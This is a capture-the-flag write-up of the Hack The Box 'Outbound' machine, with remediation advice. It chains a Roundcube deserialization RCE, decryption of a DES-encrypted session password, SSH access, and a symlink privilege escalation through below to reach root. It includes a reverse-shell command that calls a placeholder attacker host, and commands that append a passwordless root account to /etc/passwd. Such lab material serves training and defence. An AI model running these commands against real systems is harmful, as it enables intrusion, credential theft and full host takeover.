Outbound — Roundcube RCE, DES Session Decryption, and below Symlink Privilege Escalation

At a glance

Field	Value
Target environment	Ubuntu Linux; nginx 1.24.0 fronting a Roundcube webmail instance, OpenSSH 9.6p1
Starting position	Provided low-privileged webmail credentials
Objective	Reach root through a vulnerable Roundcube instance, recovered application secrets, and a privileged logging utility
Outcome	Code execution as the Roundcube service account, SSH access as a local account, and root via the below symlink attack

Summary

Outbound is a Hack The Box Linux lab that chains an authenticated Roundcube remote code execution flaw (CVE-2025-49113) into full root access. The webmail configuration exposes the application database and its des_key, so a session-stored password can be decrypted; the recovered webmail account discloses a system password that authenticates over SSH, and the below logging utility is abused through a symlink attack (CVE-2025-27591) to modify /etc/passwd and gain root. Credential values, host and address identifiers, and callback details are replaced with role-based placeholders; command syntax is preserved.

Attack path: authenticated Roundcube RCE (CVE-2025-49113) → www-data shell → config.inc.php database credential recovery → DES session password decryption → mailbox credential disclosure → SSH as <SYSTEM_ACCOUNT> → below symlink attack (CVE-2025-27591) → root

Context and Objective

• Target: an Ubuntu Linux host exposing SSH (22) and nginx (80) fronting the mail.<DOMAIN> webmail virtual host.
• Application: Roundcube webmail served from /var/www/html/roundcube and backed by a local MySQL database.
• Starting position: provided low-privileged <WEBMAIL_ACCOUNT> webmail credentials.
• Objective: move from the provided webmail account to root, and demonstrate the impact of an unpatched webmail flaw, application secrets reachable by the web user, and an unsafe privileged utility.
• Constraints: activity was confined to the Hack The Box lab environment, and the mail.<DOMAIN> virtual host was resolved locally for the web requests.

Approach and Evidence

1. Service Discovery

Observation: a fast TCP scan exposes SSH and an nginx web service whose HTTP title redirects to a hostname-based webmail virtual host.

rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_FILE>

22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://mail.<DOMAIN>/

Significance: port 80 advertises no application directly but redirects to a named virtual host, so the webmail application is reached by resolving mail.<DOMAIN> locally rather than the bare address.

Result: SSH and an nginx service fronting a virtual-hosted webmail application are identified.

2. CVE-2025-49113 — Authenticated Roundcube RCE

Observation: the application is a Roundcube webmail instance, and provided credentials are available for the <WEBMAIL_ACCOUNT> account. Roundcube before 1.5.10 and 1.6.x before 1.6.11 is affected by CVE-2025-49113, an authenticated PHP object deserialization flaw in program/actions/settings/upload.php.

Action: start a listener and run the exploit with the provided credentials and a reverse-shell command.

penelope -p <LISTENER_PORT>

php CVE-2025-49113.php http://mail.<DOMAIN>/ '<WEBMAIL_ACCOUNT>' '<WEBMAIL_ACCOUNT_PASSWORD>' 'bash -c "sh -i >& /dev/tcp/<ATTACKER_IP>/<LISTENER_PORT> 0>&1"'

The source records a reverse shell as the www-data service account; no terminal output for this step was retained.

Significance: the flaw executes in the Roundcube service context, which holds the application configuration and the database credentials it references.

Result: authenticated code execution is obtained as www-data.

3. Database Configuration and Session Credential Recovery

Observation: the Roundcube configuration stores its database connection string in plaintext, and the www-data user can read it.

cat /var/www/html/roundcube/config/config.inc.php

$config['db_dsnw'] = 'mysql://roundcube:<MYSQL_PASSWORD>@localhost/roundcube';

The recovered credentials reach the application database, whose session table holds active sessions with serialized PHP blobs; <SYSTEM_ACCOUNT>’s session value carries an encrypted password.

mysql -u roundcube -p<MYSQL_PASSWORD> roundcube

select * from session;

echo '<BASE64_PAYLOAD>' | base64 -d | tr ';' '\n'

;username|s:<USERNAME_LENGTH>:"<SYSTEM_ACCOUNT>"
;password|s:32:"<ENCRYPTED_PASSWORD>"

Significance: Roundcube persists per-user session state in the database, including a base64-encoded, DES-encrypted login password, so the same secret-bearing store that the web application user already reaches also carries recoverable credentials.

Result: an encrypted session password for <SYSTEM_ACCOUNT> is recovered.

4. DES Session Password Decryption

Observation: the Roundcube configuration also contains the des_key used to encrypt the passwords stored in session data.

$config['des_key'] = '<DES_KEY>';

Action: run a decryption script that takes the encrypted password from the session and the des_key from the configuration.

python3 rcube-decrypt.py

Decrypted password (utf-8): <ROUNDCUBE_PASSWORD>

Significance: the key that protects the stored password sits beside the ciphertext in the same readable configuration, so the session value is reversible rather than protected.

Result: <SYSTEM_ACCOUNT>’s Roundcube password is recovered and subsequently validated through the webmail application.

5. Mailbox Disclosure and SSH Access

Observation: logging into Roundcube as <SYSTEM_ACCOUNT> with the recovered password exposes a mailbox message that carries a new system password.

From: <WEBMAIL_ACCOUNT>

Due to the recent change of policies your password has been changed.

Please use the following credentials to log into your account: <SYSTEM_ACCOUNT_PASSWORD>

Remember to change your password when you next log into your account.

Thanks!

Action: use the disclosed password over SSH.

sshpass -p '<SYSTEM_ACCOUNT_PASSWORD>' ssh <SYSTEM_ACCOUNT>@<DOMAIN>

<SYSTEM_ACCOUNT>@<DOMAIN>:~$

Significance: the mailbox message converts a webmail-only secret into a system credential, so compromising the webmail layer exposes the interactive account rather than a single application.

Result: an authenticated SSH shell is obtained as <SYSTEM_ACCOUNT>.

6. CVE-2025-27591 — below Symlink Privilege Escalation

Observation: the sudo policy lets <SYSTEM_ACCOUNT> run /usr/bin/below as root, and below before 0.9.0 writes its logs under a directory writable by the low-privileged user, enabling a symlink attack (CVE-2025-27591).

sudo -l

User <SYSTEM_ACCOUNT> may run the following commands on <DOMAIN>:
    (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d

Action: run below once to generate its root-owned logs, replace the error log with a symlink to /etc/passwd, run below again so the root-owned writer follows the symlink, then append a root-equivalent account and switch to it.

sudo below
rm -f /var/log/below/error_root.log
ln -s /etc/passwd /var/log/below/error_root.log
sudo below

echo '<NEW_USER>::0:0:root:/root:/bin/bash' >> /etc/passwd
su <NEW_USER>

root@<DOMAIN>

Significance: a privileged writer that resolves its log path through user-writable storage can be redirected to an arbitrary file, so a routine permission change on the log becomes a change on /etc/passwd.

Result: root command execution is confirmed by the root shell.

Challenges and Decisions

Challenge	Decision	Rationale
The session password is stored encrypted and is unusable on its own	Recovered the des_key from config.inc.php and decrypted the session value	The ciphertext only becomes a usable credential when paired with the application key
The sudo policy denies below --config, --debug, and -d	Used the default below invocation that the policy permits	The symlink attack needs only the root log writer, not the restricted flags
The below log directory does not exist until the utility first runs	Ran below once to create its world-writable log directory and files, then removed and relinked error_root.log	below writes as root into a directory the low-privileged user can modify, so the next run follows the symlink and the root-owned writer acts on /etc/passwd

Outcome

The evidence establishes root command execution on the host. Access rested on an unpatched Roundcube instance, application secrets readable by the web service user, and a privileged logging utility that resolved its log path through user-writable storage. HTTP and SSH were the only exposed services.

Lessons and Recommendations

Each finding pairs the observed root cause with its demonstrated impact and a prioritized action. The actions are recommendations; none was validated in the lab.

1. Unpatched Roundcube (CVE-2025-49113). An authenticated user could reach code execution through the upload action’s unvalidated _from parameter. Recommendation: upgrade to a fixed release (1.5.10 or 1.6.11) and restrict access to the webmail application. Detection: monitor for object-deserialization patterns and unexpected _from values in requests to program/actions/settings/upload.php.
2. Plaintext database credentials in application configuration. The MySQL password was stored in config.inc.php, readable by the web application user. Recommendation: store configuration outside the web root under restrictive ownership and permissions, and scope database accounts to least privilege. Detection: scan configuration files and backups for embedded secrets.
3. Reversible passwords in session data. The session table held passwords encrypted with the application des_key, and both the ciphertext and the key were reachable from the web user’s context. Recommendation: avoid storing reversible credentials in session state, rotate the des_key, and keep key material separate from the data it protects. Detection: audit the session table for credential-bearing fields.
4. Symlink attack in a privileged logging utility (CVE-2025-27591). below created a user-writable log location and followed a symlink when writing as root, permitting modification of /etc/passwd. Recommendation: upgrade below to 0.9.0 or later, keep its log directory root-owned and non-writable, and narrow the sudo policy that allows it. Detection: monitor symlink creation in logging directories and unexpected writes to /etc/passwd.

References

• Hack The Box — Outbound (retired machine)
• NVD — CVE-2025-49113 (Roundcube authenticated PHP object deserialization)
• Roundcube security updates 1.6.11 and 1.5.10 (vendor advisory for CVE-2025-49113)
• NVD — CVE-2025-27591 (below world-writable log directory symlink privilege escalation)
• Facebook security advisory — CVE-2025-27591 (vendor advisory and fix for below)
• Below (system monitoring utility affected by CVE-2025-27591)
• RustScan (fast TCP port scanner)
• sshpass (non-interactive SSH password authentication)